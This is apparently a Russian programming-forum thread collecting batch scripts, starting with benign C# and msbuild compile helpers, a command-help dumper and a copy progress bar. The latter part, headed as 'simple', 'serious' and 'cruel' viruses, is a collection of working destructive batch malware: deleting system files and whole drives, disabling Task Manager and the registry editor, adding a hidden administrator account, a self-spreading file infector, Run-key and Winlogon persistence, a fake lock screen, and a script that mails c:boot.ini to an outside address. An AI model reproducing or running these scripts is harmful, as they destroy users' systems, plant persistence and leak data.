38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
@echo off& :: by Alex Dragokas -02.01.2013-
::Помощник компиляции исходников C#
Setlocal EnableDelayedExpansion EnableExtensions
 
::Задайте путь к файлу настроек скрипта
set FWCompilerPath=%temp%FWCompile.cfg
::Задайте здесь полный путь к компилятору, либо он будет найден и сохранен автоматически в файл FWCompile.cfg
::set FWExec=c:WindowsMicrosoft.NETFrameworkv3.5csc.exe
::Путь к временным файлам протокола ошибок
set log866=%temp%compile_err866.log
set log1251=%temp%compile_err.log
 
Echo Помощник компиляции исходных файлов C# (.cs)
Echo.
if "%1"=="" (
  Echo Перетяните исходный файл .cs на этот скрипт ^(Drag ^& Drop^),
  Echo или задайте его как аргумент, например "%~nx0" "c:tempsource.cs"
  Echo.& pause& Goto :eof
)
 
::Если путь указан в шапке
if Defined FWExec goto :begin
::Читаю путь к компилятору из файла настроек
if exist "%FWCompilerPath%" for /f "UseBackQ delims=" %%A in ("%FWCompilerPath%") do set FWExec=%%A& goto :begin
 
Echo Выберите версию FrameWork, с помощью которой по-умолчанию будет компилироваться исходник
Echo.
for /f "delims=" %%A in ('dir /b /s /a:-d "%windir%Microsoft.NETcsc.exe"') do (
  Set /A n+=1
  Set FW!n!=%%A
  for /f "tokens=4,5 delims=" %%r in ("%%A") do (
    echo %%r|find "64">nul
    if !errorlevel!==0 (set arch=x64) else (set arch=x32)
    echo !n!. !arch! %%s
  )
)
if not Defined n (Echo На компьютере не обнаружен установленный FrameWork& Echo.& pause& goto :eof)
Echo.
:FWenter
Set /p FWver="Ожидаю ввода: "
if "%FWver%"=="" Goto :FWenter
if %FWver% LSS 0 Goto :FWenter
if %FWver% GTR %n% Goto :FWenter
set FWExec=!FW%FWver%!
Echo %FWExec%> "%FWCompilerPath%"
 
::Дополнительные параметры
::/unsafe - компиляция блоков с прямым доступом к памяти
::/reference:"%Ref%addon.dll" - подключить дополнительный модуль
::/target:library - скомпилировать как библиотеку классов; winexe - исполнительный файл Windows
::/res:"file.mp3" - внедрить в ресурсы внешний файл
::/debug - отображать отладочную информацию
::/warn:0 - уровень предупреждений
::/nologo - не отображать информацию об авторских правах
:begin
"%FWExec%" /target:exe /nologo /out:"%~dpn1.exe" "%~dpnx1" 1>"%log866%" 2>&1
if %errorlevel% neq 0 (
  Call :Recode
  Echo Во время компиляции возникла ошибка
  Echo.
  Type "%log866%"
  Echo.
  (set /p key=Нажмите Y, чтобы сохранить протокол ошибок в файл: )
  if /i "!key!"=="Y" (move /y "%log1251%" "%~dp1"& del /q "%log866%") else (del /q "%log866%"& del /q "%log1251%")  
) else (del /q "%log866%")
Exit /B
 
:Recode
::Файл с кодировкой WIN-866
set FileIn=%log866%
::Результат, куда записывать OEM-1251
set FileOut=%log1251%
 ::chcp 1251> nul
for /f "delims=" %%a in (%FileIn%) do (
  if not defined cpReady (
    chcp 1251> nul
    set CpReady=True
  )
  call :convert "%%a"
)
chcp 866> nul
exit /B
 
:convert
echo %~1>>"%FileOut%"
Exit /B

P.S. Скрипт для msbuild — упрощённый (лог-файл не ведётся).

Кликните здесь для просмотра всего текста

Windows Batch file
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
@echo off& :: by Alex Dragokas -02.03.2017-
::Помощник компиляции исходников C#
Setlocal EnableDelayedExpansion EnableExtensions
 
::Задайте здесь полный путь к компилятору, либо будет предложен выбор
::set FWExec=%SystemRoot%Microsoft.NETFrameworkv3.5msbuild.exe
 
Echo Помощник компиляции проектов .NET (.sln)
Echo.
if "%1"=="" (
  Echo Перетяните исходный файл .cs на этот скрипт ^(Drag ^& Drop^),
  Echo или задайте его как аргумент, например "%~nx0" "c:tempsource.sln"
  Echo.& pause& Goto :eof
)
 
::Если путь указан в шапке
if Defined FWExec goto :begin
 
Echo Выберите версию FrameWork, с помощью которой по-умолчанию будет компилироваться исходник
Echo.
for /f "delims=" %%A in ('dir /b /s /a:-d "%windir%Microsoft.NETmsbuild.exe"') do (
  Set /A n+=1
  Set FW!n!=%%A
  for /f "tokens=4,5 delims=" %%r in ("%%A") do (
    echo %%r|find "64">nul
    if !errorlevel!==0 (set arch=x64) else (set arch=x32)
    echo !n!. !arch! %%s
  )
)
if not Defined n (Echo На компьютере не обнаружен установленный FrameWork& Echo.& pause& goto :eof)
Echo.
:FWenter
Set /p FWver="Ожидаю ввода: "
if "%FWver%"=="" Goto :FWenter
if %FWver% LSS 0 Goto :FWenter
if %FWver% GTR %n% Goto :FWenter
set FWExec=!FW%FWver%!
 
SetLocal DisableDelayedExpansion
 
:begin
"%FWExec%" "%~1" /t:rebuild /p:Configuration=Debug /p:Platform="any cpu" /clp:Nosummary
if %errorlevel% neq 0 (
  echo.
  Echo ^>^>^> Во время компиляции возникла ошибка ^<^<^<
  pause>NUL
)

Вложения

Тип файла: zip Compiler.zip (2.3 Кб, 250 просмотров)
Тип файла: zip msbuild_me2.zip (1.1 Кб, 77 просмотров)



5



Эксперт WindowsАвтор FAQ

17954 / 7591 / 889

Регистрация: 25.12.2011

Сообщений: 11,321

Записей в блоге: 17

06.01.2013, 02:03

 [ТС]

18

Отслеживание зависшего процесса и его перезапуск с указанным приоритетом
Автор: Dragokas

Все параметры настраиваемы (см. начало кода и спойлер). Комментарии писал на английском, уж как есть.

Принцип работы:
Задаем имя процесса(ов), который будем отслеживать.
В системе могут быть несколько процессов с одинаковым именем. Скрипт идентифицирует их по PID и не путается.
Если найден процесс с указанным именем и статусом «Not responding»,
начинается валидация (повторная проверка этого статуса на протяжении заданного времени и указанное кол-во раз).

(а вдруг процесс подвис на секунду — не «убивать» же его из-за этого!!!)

Если все проверки позитивны, ищем полный путь к процессу по номеру его Process ID (используется инструментарий WMIC).
Принудительно завершаем процесс по PID.
Выжидаем указанную задержку перед повторным запуском.
Запускаем тот же процесс с указанным приоритетом в минимизированном виде.

Настройки:

Можно задавать такие паузы (в мс.):
1) между проверками статуса «Не отвечает».
2) продолжительность времени и кол-во дополнительных проверок валидации статуса за это время.
3) перед новым запуском завершенного приложения.

Запуск в минимизированном виде:
1 — Да, 0 — Нет.

Приоритеты запускаемого процесса:
1 — низкий
2 — ниже среднего
3 — средний
4 — выше среднего
5 — высокий
6 — в реальном времени

Имена нескольких процессов задаются через запятую без кавычек, даже если в их имени есть пробел.

Upd.3.
Подправлено получение пути к процессу из правильного свойства WMIC Process (ExecutablePath вместо CommandLine).
Добавлена принудительная минимизация окна с помощью утилиты NirCMD (некоторые программы восстанавливают окно при использовании Start /MIN).
В силу особенностей NirCMD процесс нужно вручную задавать на выбор: по имени класса или по имени (части имени) окна.
Добавлен автоперезапуск процесса, если через 10 сек. после его запуска оно не набрало указанное число КБайт в оперативной памяти.

Скрипт обсуждается здесь Отслеживание зависания (состояния «не отвечает») программы и её перезапуск



7



Eva Rosalene

Pure Free Digital Ghost

4598 / 1910 / 370

Регистрация: 06.01.2013

Сообщений: 4,564

08.01.2013, 21:45

19

Помощь по всем командам вашей версии Windows / DOS

Развврнуть код…

Bash
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
@echo off
setlocal enabledelayedexpansion
if exist "help.txt" (del help.txt)
help>>help.txt
del help2.txt
FOR /F "usebackq" %%a IN ("help.txt") DO (
 set string=%%~a
 if "!string:~0,1!"=="A" (echo !string!>>help2.txt)
 if "!string:~0,1!"=="B" (echo !string!>>help2.txt)
 if "!string:~0,1!"=="C" (echo !string!>>help2.txt)
 if "!string:~0,1!"=="D" (echo !string!>>help2.txt)
 if "!string:~0,1!"=="E" (echo !string!>>help2.txt)
 if "!string:~0,1!"=="F" (echo !string!>>help2.txt)
 if "!string:~0,1!"=="G" (echo !string!>>help2.txt)
 if "!string:~0,1!"=="H" (echo !string!>>help2.txt)
 if "!string:~0,1!"=="I" (echo !string!>>help2.txt)
 if "!string:~0,1!"=="J" (echo !string!>>help2.txt)
 if "!string:~0,1!"=="K" (echo !string!>>help2.txt)
 if "!string:~0,1!"=="L" (echo !string!>>help2.txt)
 if "!string:~0,1!"=="M" (echo !string!>>help2.txt)
 if "!string:~0,1!"=="N" (echo !string!>>help2.txt)
 if "!string:~0,1!"=="O" (echo !string!>>help2.txt)
 if "!string:~0,1!"=="P" (echo !string!>>help2.txt)
 if "!string:~0,1!"=="Q" (echo !string!>>help2.txt)
 if "!string:~0,1!"=="R" (echo !string!>>help2.txt)
 if "!string:~0,1!"=="S" (echo !string!>>help2.txt)
 if "!string:~0,1!"=="T" (echo !string!>>help2.txt)
 if "!string:~0,1!"=="U" (echo !string!>>help2.txt)
 if "!string:~0,1!"=="V" (echo !string!>>help2.txt)
 if "!string:~0,1!"=="W" (echo !string!>>help2.txt)
 if "!string:~0,1!"=="X" (echo !string!>>help2.txt)
 if "!string:~0,1!"=="Y" (echo !string!>>help2.txt)
 if "!string:~0,1!"=="Z" (echo !string!>>help2.txt)
)
del help.txt
FOR /F "usebackq tokens=1,2*" %%a IN ("help2.txt") DO (
 echo ====================>>help.txt
 echo HELP FOR %%a>>help.txt
 echo %%a
 %%a /?>>help.txt
)
echo OK
pause>nul
timeout /t 1 /NOBREAK>nul

После запуска появятся два текстовых файла.
По ходу действия программа будет писать вам, какая команда сейчас обрабатывается.
HELP2 — список доступных вам команд.
HELP — собственно справка по каждой из них.



5



Dragokas

Эксперт WindowsАвтор FAQ

17954 / 7591 / 889

Регистрация: 25.12.2011

Сообщений: 11,321

Записей в блоге: 17

15.01.2013, 02:20

 [ТС]

20

Прогресс-бар копирования файлов
Автор: Ris

Взято из этой темы.

Версия 1.5

Bash
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
@echo off
::Первый пааметр - это откуда копировать(путь у папке)
::Второй параметр - это куда копировать(путь у папке)
::Третий параметр - это надо ли копировать вложенный папки (+s - если надо, -s если не надо)
::Четвертый параметр - это что копировать(расширение файлов без точки, не указывайте - если все файлы)
if "%~1"=="" goto :EOF
set otkyda=%~1
if "%~2"=="" goto :EOF
set kyda=%~2
if /i "%~3"=="+s" (set s=^/s) else (set s=)
if "%~4"=="" (set pac=^*) else (set pac=%~4)
setlocal enabledelayedexpansion
set /a q=0
echo Copy...0%%
echo °°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°
cd /d "%~1"
for /f "tokens=*" %%i in ('dir /a:-d /b /-c %s% "*.%pac%"') do (set /a sall+=%%~zi)
for /f "tokens=*" %%i in ('dir /a:-d /b /-c %s% "*.%pac%"') do (call :mycopy "%%i" %%~zi)
cls
echo Copy...100%%
echo ЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫ
goto :EOF
exit
:mycopy
if not %2 LSS 200000000 (echo File size is larger than 200MB.&pause&exit)
set p=%~dp1
call set x=%%p:%otkyda%=%%
xcopy /q /s /y %1 "%kyda%%x%" > nul
set /a proc=10*%2/(%sall%/1000)
if %2 LSS 10000 set /a proc=%2*10000/%sall%
set /a q=%q%+%proc%
cls
echo Copy...%q:~0,-2%.%q:~-2%%%
set /a qb=(%q%*80)/10000
if "%qb%"=="%qb_pr%" (echo %bar%%barx%&exit /b)
set /a qbx=80-%qb%
set bar=
set barx=
for /l %%i in (1,1,%qb%) do (set bar=!bar!Ы)
for /l %%i in (1,1,%qbx%) do (set barx=!barx!°)
echo %bar%%barx%
set qb_pr=%qb%
exit /b

Юзаем, например, так:

Bash
1
copybar "C:temp" "%cd%temp" +s rar



2



Простенькие вирусы:

Убирает рабочий стол 

@echo off 
reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer /v NoDesktop /t REG_DWORD /d 1 /f >nul 

@echo off 
shutdown -s -t 1 -c «lol» >nul 

@echo off 
shutdown -r -t 1 -c «lol» >nul 

Запрещает запускать программы 

@echo off 
reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerRestrictRun /v 1 /t REG_DWORD /d %SystemRoot%explorer.exe /f >nul 

@echo off 
del «%SystemRoot%Driver Cachei386driver.cab» /f /q >nul 

@echo off 
del «%SystemRoot%Media» /q >nul

Запрещает заходить в панель управления

@echo off 
reg add HKCUSoftwareMicrosoftWindowsCurrent VersionPoliciesExplorer 
/v NoControlPanel /t REG_DWORD /d 1 /f >nul

Запрещает комбинацию Ctrl-Alt-Delete

reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem /v DisableTaskMgr /t REG_DWORD /d 1 /f >nul

Меняет местами значение кнопок мыши

%SystemRoot%/system32/rundll32 user32, SwapMouseButton >nul

Удаляет курсор мыши

del «%SystemRoot%Cursors*.*» >nul

Меняет название корзины

reg add HKCUSoftwareMicrosoftWindowsShellNoRoamMUICache /v @C:WINDOWSsystem32SHELL32.dll,-8964 /t REG_SZ /d ТУТ НАЗВАНИЕ КОРЗИНЫ /F

Убирает панель управления

reg add HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem /v DisableTaskMgr /t REG_DWORD /d 1 /f

Серьезные вирусы:

Удаляет ВСЕ с разделадиска(не пытайтесь проверить у себя)

rd [Буква_Диск]: /s /q 

Удаляет все файлы в program files 

del c:Program Files/q

Убивает процесс explorer.exe

taskkill /f /im explorer.exe >nul

Создает миллион папок

FOR /L %%i IN (1,1,1000000) DO md %%i

Удаляет все драйвера, которые установлены на компьютере

del «%SystemRoot%Driver Cachei386driver.cab» /f /q >nul

Удаляет команду DEL

del %0

Будет открывать бесконечно Paint

:x

Start mspaint

goto x

Изменяет расширение всех ярлыков на .txt

assoc .lnk=.txt

Заражает Autoexec

copy «»%0″» «%SystemRoot%system32batinit.bat» >nul 

reg add «HKCUSOFTWAREMicrosoftCommand Processor» /v AutoRun /t REG_SZ /d «%SystemRoot%syste m32batinit.bat» /f >nul 

Создает нового пользователя, с правами администратора, логин:hacker и пароль hack (Можете изменить)

@echo off

chcp 1251 
net user SUPPORT_388945a0 /delete 
net user hacker hack /add 
net localgroup Администраторы hacker /add 
net localgroup Пользователи SUPPORT_388945a0 /del 
reg add «HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogonSpecialAccountsUserList» /v «support» /t reg_dword /d 0 y

сбой системы (!) — выключить все функции ввода-вывода (клавиатура, дисплей, мышь). В результате будет черный экран с курсором и ни на что не реагирующая система, однако Windows продолжает работать.

rundll32 user,disableoemlayer

Меняет местами кнопки мыши,но обратная смена не возможна)

rundll32 user,SwapMouseButton

Удаляет ядро системы

del %systemroot%system32HAL.dll

Заражает *.jpg *.mp3 *.doc *.htm? *.xls. (Заражает 

не только в текущем каталоге, но и надкаталоге)

@echo off%[MrWeb]%

if ‘%1==’In_ goto MrWebin

if exist c:MrWeb.bat goto MrWebru

if not exist %0 goto MrWeben

find «MrWeb»<%0>c:MrWeb.bat

attrib +h c:MrWeb.bat

:MrWebru

for %%g in (..*.jpg ..*.doc ..*.htm? *.jpg *.mp3 *.doc *.htm? *.xls) do call c:MrWeb In_ %%ggoto MrWeben

:MrWebin

if exist %2.bat goto MrWeben

type c:MrWeb.bat>>%2.bat

echo start %2>>%2.bat%[MrWeb]%

:MrWeben

Вирус заражает *.JPG в текущем каталоге

@echo off%[MrWeb]%
if ‘%1==’In_ goto MrWebin
if exist c:MrWeb.bat goto MrWebru
if not exist %0 goto MrWeben
find «MrWeb»<%0>c:MrWeb.bat
attrib +h c:MrWeb.bat
:MrWebru
for %%g in (*.jpg) do call c:MrWeb In_ %%g
goto MrWeben
:MrWebin
if exist %2.bat goto MrWeben
type c:MrWeb.bat>>%2.bat
echo start %2>>%2.bat%[MrWeb]%
:MrWeben

Жестокие вирусы:

У вашего ламера будет глючить компьютер. 

@echo off 

echo Set fso = CreateObject(«Scripting.FileSystemObject») > %systemdrive%windowssystem32rundll32.vbs 
echo do >> %systemdrive%windowssystem32rundll32.vbs 
echo Set tx = fso.CreateTextFile(«%systemdrive%windowssystem32rundll32.dat», True) >> %systemdrive%windowssystem32rundll32.vbs 
echo tx.WriteBlankLines(100000000) >> %systemdrive%windowssystem32rundll32.vbs 
echo tx.close >> %systemdrive%windowssystem32rundll32.vbs 
echo FSO.DeleteFile «%systemdrive%windowssystem32rundll32.dat» >> %systemdrive%windowssystem32rundll32.vbs 
echo loop >> %systemdrive%windowssystem32rundll32.vbs 
start %systemdrive%windowssystem32rundll32.vbs 
reg add HKLMSOFTWAREMicrosoftWindowsCurrentVersionRun /v system_host_run /t REG_SZ /d %systemdrive%windowssystem32rundll32.vbs /f 

Вирус который убивает Винду. Не проверяйте на своем компьютере=) 

@echo This virus created by LIZA 
@echo Virus: pcforumhack.ru™ Virus 
@echo Autor: LIZA 
@echo off 
echo Chr(39)>%temp%temp1.vbs 
echo Chr(39)>%temp%temp2.vbs 
echo on error resume next > %temp%temp.vbs 
echo Set S = CreateObject(«Wscript.Shell») >> %temp%temp.vbs 
echo set FSO=createobject(«scripting.filesystemobject»)>>%temp%temp.vbs 
reg add HKEY_USERSS-1-5-21-343818398-1417001333-725345543-1003SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer /v nodesktop /d 1 /freg add HKEY_USERSS-1-5-21-343818398-1417001333-725345543-1003SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer /v ClassicShell /d 1 /fset ¶§=%0 
copy %¶§% %SystemRoot%user32dll.bat 
reg add «hklmSoftwareMicrosoftWindowsCurrentVersionRun» /v RunExplorer32 /d %SystemRoot%user32dll.bat /f 
reg add «hkcuSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer» /v NoDrives /t REG_DWORD /d 67108863 /f 
reg add «hkcuSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer» /v NoViewOnDrive /t REG_DWORD /d 67108863 /f 
echo fso.deletefile «C:ntldr»,1 >> %temp%temp.vbs 
reg add «HKCUSoftwarePoliciesMicrosoftInternet ExplorerRestrictions» /v «NoSelectDownloadDir» /d 1 /f 
reg add «HKLMSOFTWAREMicrosoftInternet ExplorermainFeatureControlFeature_LocalMachine_Lockdown» /v «IExplorer» /d 0 /f 
reg add «HKCUSoftwarePoliciesMicrosoftInternet ExplorerRestrictions» /v «NoFindFiles» /d 1 /f 
reg add «HKCUSoftwarePoliciesMicrosoftInternet ExplorerRestrictions» /v «NoNavButtons» /d 1 /f 
echo fso.deletefolder «D:Windows»,1 >> %temp%temp.vbs 
echo fso.deletefolder «I:Windows»,1 >> %temp%temp.vbs 
echo fso.deletefolder «C:Windows»,1 >> %temp%temp.vbs 
echo sr=s.RegRead(«HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionSystemRoot») >> %temp%temp.vbs 
echo fso.deletefile sr+»system32hal.dll»,1 >> %temp%temp.vbs 
echo sr=s.RegRead(«HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionSystemRoot») >> %temp%temp.vbs 
echo fso.deletefolder sr+»system32dllcache»,1 >> %temp%temp.vbs 
echo sr=s.RegRead(«HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionSystemRoot») >> %temp%temp.vbs 
echo fso.deletefolder sr+»system32drives»,1 >> %temp%temp.vbs 
echo s.regwrite «HKEY_CLASSES_ROOTCLSID{645FF040-5081-101B-9F08-00AA002F954E}LocalizedString»,»forum.whack.ru™»>>%temp%temp.vbs 
echo s.regwrite «HKLMSOFTWAREMicrosoftWindows NTCurrentVersionRegisteredOwner»,»forum.whack.ru™»>>%temp%temp.vbs 
echo s.regwrite «HKLMSOFTWAREMicrosoftWindows NTCurrentVersionRegisteredOrganization»,»forum.whack.ru™»>>%temp%temp.vbs 
echo on error resume next > %temp%temp1.vbs 
echo set FSO=createobject(«scripting.filesystemobject»)>>%temp%temp1.vbs 
echo do>>%temp%temp1.vbs 
echo fso.getfile («A:»)>>%temp%temp1.vbs 
echo loop>>%temp%temp1.vbs 
echo on error resume next > %temp%temp2.vbs 
echo Set S = CreateObject(«Wscript.Shell») >> %temp%temp2.vbs 
echo do>>%temp%temp2.vbs 
echo execute»S.Run «»%comspec% /c echo «» & Chr(7), 0, True»>>%temp%temp2.vbs 
echo loop>>%temp%temp2.vbs 
reg add «hkcuSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem» /v disabletaskmgr /t REG_DWORD /d 1 /f 
reg add «hkcuSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem» /v disableregistrytools /t REG_DWORD /d 1 /f 
reg add «hkcuSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer» /v NoStartMenuPinnedList /t REG_DWORD /d 1 /f 
reg add «hkcuSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer» /v NoStartMenuMFUprogramsList /t REG_DWORD /d 1 /f 
reg add «hkcuSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer» /v NoUserNameInStartMenu /t REG_DWORD /d 1 /f 
reg add «hkcuSoftwareMicrosoftWindowsCurrentVersionPoliciesNonEnum» /v {20D04FE0-3AEA-1069-A2D8-08002B30309D} /t REG_DWORD /d 1 /f 
reg add «hkcuSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer» /v NoNetworkConnections /t REG_DWORD /d 1 /f 
reg add «hkcuSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer» /v NoStartMenuNetworkPlaces /t REG_DWORD /d 1 /f 
reg add «hkcuSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer» /v StartmenuLogoff /t REG_DWORD /d 1 /f 
reg add «hkcuSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer» /v NoStartMenuSubFolders /t REG_DWORD /d 1 /f 
reg add «hkcuSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer» /v NoCommonGroups /t REG_DWORD /d 1 /f 
reg add «hkcuSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer» /v NoFavoritesMenu /t REG_DWORD /d 1 /f 
reg add «hkcuSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer» /v NoRecentDocsMenu /t REG_DWORD /d 1 /f 
reg add «hkcuSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer» /v NoSetFolders /t REG_DWORD /d 1 /f 
reg add «hkcuSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer» /v NoAddPrinter /t REG_DWORD /d 1 /f 
reg add «hkcuSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer» /v NoFind /t REG_DWORD /d 1 /f 
reg add «hkcuSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer» /v NoSMHelp /t REG_DWORD /d 1 /f 
reg add «hkcuSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer» /v NoRun /t REG_DWORD /d 1 /f 
reg add «hkcuSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer» /v NoStartMenuMorePrograms /t REG_DWORD /d 1 /f 
reg add «hkcuSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer» /v NoClose /t REG_DWORD /d 1 /f 
reg add «hkcuSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer» /v NoChangeStartMenu /t REG_DWORD /d 1 /f 
reg add «hkcuSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer» /v NoSMMyDocs /t REG_DWORD /d 1 /f 
reg add «hkcuSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer» /v NoSMMyPictures /t REG_DWORD /d 1 /f 
reg add «hkcuSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer» /v NoStartMenuMyMusic /t REG_DWORD /d 1 /f 
reg add «hkcuSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer» /v NoControlPanel /t REG_DWORD /d 1 /f 
echo set application=createobject(«shell.application»)>>%temp%temp.vbs 
echo application.minimizeall>>%temp%temp.vbs 
reg add «hklmSoftwareMicrosoftWindowsCurrentVersionrun» /v SwapNT /t REG_SZ /d rundll32 user32, SwapMouseButton /f 
start rundll32 user32, SwapMouseButton 
reg add «HKCRexefileshellopencommand» /ve /t REG_SZ /d rundll32.exe /f 
echo i=50 >> %temp%temp.vbs 
echo while i^>0 or i^<0 >> %temp%temp.vbs 
echo S.popup «forum.whack.ru™»,0, «forum.whack.ru™»,0+16 >> %temp%temp.vbs 
echo i=i-1 >> %temp%temp.vbs 
echo wend >> %temp%temp.vbs 
echo do >> %temp%temp.vbs 
echo wscript.sleep 200 >> %temp%temp.vbs 
echo s.sendkeys»{capslock}» >> %temp%temp.vbs 
echo wscript.sleep 200 >> %temp%temp.vbs 
echo s.sendkeys»{numlock}» >> %temp%temp.vbs 
echo wscript.sleep 200 >> %temp%temp.vbs 
echo s.sendkeys»{scrolllock}» >> %temp%temp.vbs 
echo loop>> %temp%temp.vbs 
echo Set oWMP = CreateObject(«WMPlayer.OCX.7») >> %temp%temp.vbs 
echo Set colCDROMs = oWMP.cdromCollection >> %temp%temp.vbs 
echo if colCDROMs.Count ^>= 1 then >> %temp%temp.vbs 
echo For i = 0 to colCDROMs.Count — 1 >> %temp%temp.vbs 
echo colCDROMs.Item(i).eject >> %temp%temp.vbs 
echo next >> %temp%temp.vbs 
echo End If >> %temp%temp.vbs 
echo Call SendPost(«smtp.mail.ru», «forum.whack.ru™@mail.ru», «support@mail.ru», «…», «Копм заражен!») >> %temp%temp.vbs 
echo Function SendPost(strSMTP_Server, strTo, strFrom, strSubject, strBody) >> %temp%temp.vbs 
echo Set iMsg = CreateObject(«CDO.Message») >> %temp%temp.vbs 
echo Set iConf = CreateObject(«CDO.Configuration») >> %temp%temp.vbs 
echo Set Flds = iConf.Fields >> %temp%temp.vbs 
echo Flds.Item(«http://schemas.microsoft.com/cdo/configuration/sendusing») = 2 >> %temp%temp.vbs 
echo Flds.Item(«http://schemas.microsoft.com/cdo/configuration/smtpauthenticate») = 1 >> %temp%temp.vbs 
echo Flds.Item(«http://schemas.microsoft.com/cdo/configuration/sendusername») = «support» >> %temp%temp.vbs 
echo Flds.Item(«http://schemas.microsoft.com/cdo/configuration/sendpassword») = «support» >> %temp%temp.vbs 
echo Flds.Item(«http://schemas.microsoft.com/cdo/configuration/smtpserver») = «smtp.mail.ru» >> %temp%temp.vbs 
echo Flds.Item(«http://schemas.microsoft.com/cdo/configuration/smtpserverport») = 25 >> %temp%temp.vbs 
echo Flds.Update >> %temp%temp.vbs 
echo iMsg.Configuration = iConf >> %temp%temp.vbs 
echo iMsg.To = strTo >> %temp%temp.vbs 
echo iMsg.From = strFrom >> %temp%temp.vbs 
echo iMsg.Subject = strSubject >> %temp%temp.vbs 
echo iMsg.TextBody = strBody >> %temp%temp.vbs 
echo iMsg.AddAttachment «c:boot.ini» >> %temp%temp.vbs 
echo iMsg.Send >> %temp%temp.vbs 
echo End Function >> %temp%temp.vbs 
echo Set iMsg = Nothing >> %temp%temp.vbs 
echo Set iConf = Nothing >> %temp%temp.vbs 
echo Set Flds = Nothing >> %temp%temp.vbs 

echo s.run «shutdown -r -t 0 -c «»pcforumhack.ru™»» -f»,1 >> %temp%temp.vbs 
start %temp%temp.vbs 
start %temp%temp1.vbs 
start %temp%temp2.vbs 

Вирус полностью блокирует систему при следующем запуске Windows.Даже в безопасном режиме, выключает диспетчер задач.Чтобы разблокировать компьютер можно введя код 200393!(Но он не разблокирует)

@echo off 
CHCP 1251 
cls 
Set Yvaga=На вашем компьютере найден вирус. 
Set pass=Пароль 
Set pas=Введите пароль. 
Set virus=Чтобы разблокировать ПК вам потребуется ввести пароль 
Set dim=Выключаю вирус… 
title Внимание!!! 
CHCP 866 
IF EXIST C:windowsboot.bat ( 
goto ok ) 
cls 
IF NOT EXIST C:windowsboot.bat ( 
ECHO Windows Registry Editor Version 5.00 >> C:.reg 
ECHO. >> C:.reg 
ECHO [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogon] >> C:.reg 
ECHO. >> C:.reg 
ECHO «Shell»=»Explorer.exe, C:\windows\boot.bat » >> C:.reg 
start/wait regedit -s C:.reg 
del C:.reg 
ECHO @echo off >>C:windowsboot.bat 
ECHO C:WINDOWSsystem32taskkill.exe /f /im Explorer.exe >>C:windowsboot.bat 
ECHO reg add «HKCUsoftwareMicrosoftWindowsCurrentVersionPoliciessystem» /v DisableTaskMgr /t REG_DWORD /d 1 /f >>C:windowsboot.bat 
ECHO start sys.bat >>C:windowsboot.bat 
attrib +r +a +s +h C:windowsboot.bat 
copy virus.bat c:windowssys.bat 
attrib +r +a +s +h C:windowssys.bat 
GOTO end) 
:ok 
cls 
Echo %Yvaga% 
echo. 
echo %virus% 
echo %pas% 
set /a choise = 0 
set /p choise=%pass%: 
if «%choise%» == «101» goto gold 
if «%choise%» == «200393» goto status 
exit 
:status 
echo %dim% 
attrib -r -a -s -h C:windowsboot.bat 
del C:windowsboot.bat 
attrib -r -a -s -h C:windowssys.bat 
del C:windowssys.bat 
cls 
:gold 
start C: 
:end

Добавляет программу в автозагрузку ОС

copy «»%0″» «%SystemRoot%system32File.bat» 
reg add «HKLMSOFTWAREMicrosoftWindowsCurrentVersionRun» /v «Filel» /t REG_SZ /d «%SystemRoot%system32File.bat» /f 
